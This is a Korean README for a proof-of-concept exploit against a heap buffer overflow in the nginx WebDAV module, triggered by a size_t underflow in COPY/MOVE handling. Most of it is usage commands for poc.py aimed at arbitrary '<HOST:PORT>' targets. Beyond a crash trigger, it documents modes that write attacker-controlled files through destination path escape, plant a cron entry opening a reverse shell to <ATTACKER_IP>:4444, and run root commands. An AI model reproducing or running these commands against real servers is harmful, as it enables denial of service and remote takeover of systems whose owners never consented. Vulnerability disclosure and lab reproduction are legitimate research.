
NGINX `ngx_http_dav_module` 힙 버퍼 오버플로우 via `size_t` 언더플로우 (원격 DoS / 잠재적 RCE)
NGINX ngx_http_dav_module 힙 버퍼 오버플로우 (원격 서비스 거부 / 잠재적 원격 코드 실행)
(size_t 언더플로우로 인한)
src/http/modules/ngx_http_dav_module.c의 ngx_http_dav_copy_move_handler()는
Destination 헤더의 URI 경로 구성 요소에서 위치 접두사 길이를 빼서 대상 URI 길이를 계산합니다.
두 값 모두 size_t (부호 없는 64비트)입니다. 대상 경로가 위치 접두사보다 짧으면,
뺄셈이 ~0으로 감싸져서 거대한 memcpy 길이를 생성하고,
7바이트 힙 할당을 오버플로우하여 작업자 프로세스가 중단됩니다.
alias로 매핑된 DAV 위치에 대한 단일 조작된 MOVE 또는 COPY 요청이
오버플로우를 트리거합니다. nginx 마스터는 작업자를 다시 생성하지만,
반복된 요청은 서버를 지속적인 크래시 루프에 빠뜨립니다.
ASan 확인: negative-size-param: (size=-7) at memcpy in
ngx_http_core_module.c:1949, ngx_http_dav_copy_move_handler에서 호출됨.
영향: nginx 0.5.13 ~ 1.28.2 (stable) 및 1.29.0 ~ 1.29.6 (mainline),
--with-http_dav_module로 컴파일되고 DAV 위치에서 alias를 사용하는 경우.
1.28.3 / 1.29.7에서 수정됨 (커밋 ab4b5b8, PR #1210).
# Docker (권장 -- 소스에서 취약한 nginx 빌드):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (Docker 없이 nginx 1.28.2를 소스에서 빌드):
./run.sh # ASan 없는 빌드 (SIGSEGV 충돌 관찰)
./run.sh --asan # ASan 빌드 (확정적 증거)
./run.sh --both # 두 가지를 순차적으로 실행
# 기존 취약한 nginx 인스턴스 대상:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # 트리거 파일이 이미 존재하는 경우
python3 poc.py --target <HOST:PORT> --verbose
기본 모드는 표준 충돌 트리거로 유지됩니다. PUT을 보낸 다음
Destination 경로가 DAV 위치 접두사보다 짧은 조작된 MOVE를 보냅니다:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
DAV 대상 처리가 상대 대상 탈출을 허용하는 승인된 실험실 구성의 경우,
동일한 도구를 사용하여 공격자가 선택한 경로에 공격자 제어 콘텐츠를 전달할 수 있습니다.
정확한 --location-prefix, --escape-depth 및 대상 경로는 자체 서비스 구성 및 정찰에서 가져와야 합니다:
# COPY/MOVE 대상 처리를 통해 선택한 경로에 리터럴 콘텐츠 쓰기.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# 로컬 파일에서 바이트 쓰기.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# 리버스 셸을 여는 cron 항목 전달.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# 비대화형 승인된 증명을 위한 일회성 cron 명령 전달.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell, cron-cmd는 쓰기 가능한 DAV 소스와 대상 경로 탈출이 있는
승인된 환경을 위한 일반 전달 도우미입니다.
표준 힙 오버플로우 충돌을 증명하는 데 필요하지 않습니다.
--with-http_dav_module로 컴파일된 nginx, alias( root 아님)를 사용하는 location 블록,
dav_methods에 COPY 또는 MOVE 포함requests가 사용 가능하면 사용되고, 그렇지 않으면 PoC는
일반 HTTP 대상에 대해 Python 표준 라이브러리로 대체됩니다.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget이 프로젝트는 GNU GPLv3 하에 릴리스됩니다.
방어적 보안 연구, 교육 및 승인된 테스트를 위해 제공됩니다. 소유자의 명시적 허가 없이 시스템이나 서비스에 대해 이 코드를 사용하지 마십시오.
무단 사용은 해당 법률을 위반할 수 있습니다. 저자는 타사 시스템 테스트를 허가하지 않으며 오용에 대해 책임을 지지 않습니다.
보증 및 책임 조건은 LICENSE 파일을 참조하십시오.
| 파일 | 설명 |
|---|
poc.py | Python PoC -- 표준 충돌 트리거 및 일반 COPY/MOVE 대상 모드 |
run.sh | nginx를 소스에서 빌드 (ASan / non-ASan)하고 PoC 실행 |
Dockerfile | 취약한 nginx 1.28.2의 멀티 스테이지 빌드 |
docker-compose.yml | 원클릭 Docker 설정 |
nginx.conf | 취약한 구성 (alias + dav_methods COPY MOVE) |
proof_output.txt | 라이브 검증의 ASan 출력 |